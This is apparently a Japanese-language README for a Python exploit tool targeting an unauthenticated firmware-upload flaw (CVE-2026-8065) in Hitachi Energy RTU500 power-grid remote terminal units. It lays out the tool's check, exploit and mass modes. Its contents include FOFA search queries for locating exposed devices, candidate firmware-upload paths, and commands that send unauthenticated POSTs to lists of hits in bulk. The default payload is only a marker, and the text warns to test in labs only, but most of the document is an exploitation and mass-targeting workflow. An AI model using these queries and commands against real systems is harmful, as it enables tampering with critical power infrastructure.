
CVE-2026-8065のPython PoC:Hitachi Energy RTU500デバイスをフィンガープリントし、ファームウェア更新エンドポイントに対して未認証アップロードの可能性をプローブします。check、exploit、一括スキャンの各モードを備えています。
CVE-2026-8065 の Python 3 PoC — Hitachi Energy RTU500 シリーズ CMU ファームウェア — ファームウェア更新 HTTP エンドポイントにおける認証バイパス (CWE-306)。CVSS 3.1 9.1 Critical (IoT/OT)。
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 重要な機能に対する認証の欠如 |
| Impact | 認証不要の任意ファームウェアアップロード → 変電所 RTU の完全性 / 可用性 |
RTU500は、電力の送電・配電分野で使用されるRemote Terminal Unit(遠隔端末)ファミリーであり、Webサーバーを通じてCMUファームウェアの管理が行われます。CVE-2026-8065では、ファームウェア更新エンドポイントが認証なしで(または細工されたPOSTによるバイパスで)アクセス可能になり、攻撃者は任意のファームウェアをアップロードしてデバイスの機能を変更したり、完全性を損なったり、DoSを引き起こしたりする可能性があります。
これは、自動化ネットワークにおいてPR:Nによる遠隔からの重大なOT影響を意味します — 認可された隔離ラボ内、またはベンダー承認済みのペネトレーションテストの範囲内でのみテストする必要があります。
影響を受けるベンダー(CNA): RTU500シリーズ CMUファームウェア — 9.0および12.0のバージョン系列(カスタムバージョニング。最新のアドバイザリおよび**13.8.2+**のパッチノートを参照してください)。
Hitachi Energy は CVE-2026-8065 を割り当てました (公開日 2026-09-29):
Hitachi Energy RTU500 のファームウェア更新エンドポイントにおける認証バイパス脆弱性により、未認証の攻撃者が細工された POST リクエストを通じて任意のファームウェアをアップロードできる。
CVE-2024-2617 (認証済みユーザーがセキュア更新を無効時にバイパスする) とは異なり、CVE-2026-8065 は更新機能そのものへの未認証アクセスです — 安全上重要な OT 領域における完全な CWE-306 の欠陥です。
公開アドバイザリには正確な URI がまだ記載されていない可能性があります。RTU500 のドキュメントでは、ファームウェアの処理は構成管理 / Web サーバーのファイル転送を介して行われると説明されています。この PoC は RTU500 をフィンガープリントし、可能性の高いファームウェア POST パスの厳選リストをプローブし、その後 (エクスプロイトモードで) 非本番用のプローブ blob (POCBIT-8065-FW-PROBE) を送信して未認証での受理応答を検出します。
| モード | 動作 |
|---|---|
| check | マルチポート HTTP(S) プローブ、RTU500 HTML マーカー、CMU バージョン正規表現、ファームウェアパスへの GET プローブ |
| exploit | セッション Cookie なしで偽の .fw をマルチパート POST、2xx + 受理ヒューリスティックで exploited |
| mass | --list + -j、hits.txt / exploited.txt |
--dry-run | エクスプロイト: ファームウェアパスの GET プローブのみ (POST なし) |
--lab | ローカルモック RTU500 — exploited: true を表示する必要あり (健全性チェック) |
--force | RTU500 HTML フィンガープリントなしでエクスプロイト |
--firmware-paths | ベンダーパスが判明している場合にパスリストを上書き (カンマ区切り) |
JSONL: pocbit、pocbit_catalog、pocbit_page、cve、vendor、product。
安全性: デフォルトのエクスプロイトペイロードは有効な CMU フラッシュイメージではありません — 検出用のマーカー + パディングのみです。隔離とベンダーの調整なしに、エクスプロイトモードを稼働中の電力網機器に向けないでください。
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
--list --mode check では bulk がデフォルトで有効: ターゲットごとに 1~2 回の GET(リスト URL + 必要に応じて http/https)、16 個のファームウェアパスのスキャンは行わない、短いタイムアウト (4s connect, 10s read)、デフォルト -j 32。
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
CLIでの進行状況: [done/total 目標/s]。ヒットは即座に HIT として出力されます。
cert="Hitachi" のFOFAリストは非常にノイズが多いため、CSVの rtu_priority を使ってまず優先リストをスキャンしてください。チェックヒット ≠ 実際のRTU: ページに hitachi energy が含まれるだけの企業向けSPAは vendor_branding_only / vendor_branding_spa_false_positive となります。エクスプロイトには rtu500 / rtutil500 / cmu firmware のような strong フィンガープリントが必要です(なければ --force)。
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
PoCはローテーションします(GETチェック / POSTエクスプロイト):
/api/firmware/update、/api/firmware/upload、/api/v1/firmware/update/firmware/update、/firmware/upload、/ws/firmware/update/CMU/firmware/upload、/ConfigurationManagement/Firmware/configuration/management/firmware、/FileUpload/Firmware/scripts/firmwareUpload、/cgi-bin/firmware、/admin/firmware/upload日立が正確なパスを公開したら、--firmware-paths をそのURIのみに設定してください。
title="RTU500" || body="RTU500" || body="Configuration Management"
body="Hitachi Energy" && (body="RTU" || body="CMU")
cert="Hitachi" && port="443"
body="RTUtil500" || body="rtutil500"
OT ネットワークでは FOFA が不十分な場合があります。CMMS / IP プラン / VPN ジャンプのインベントリを targets.txt にしてください。
許可された変電所/ラボでのテストに限る。OT デバイスに対する無許可のファームウェア操作は、法律および電力網の安全規則に違反する可能性がある。
CVE-2026-8065 PoC: Hitachi Energy RTU500 unauth firmware update bypass (CWE-306, CVSS 9.1). IoT/OT colored check + mass exploit — RTU500 fingerprint, firmware endpoint probe, lab-safe upload test. https://pocbit.org/pocs/cve-2026-8065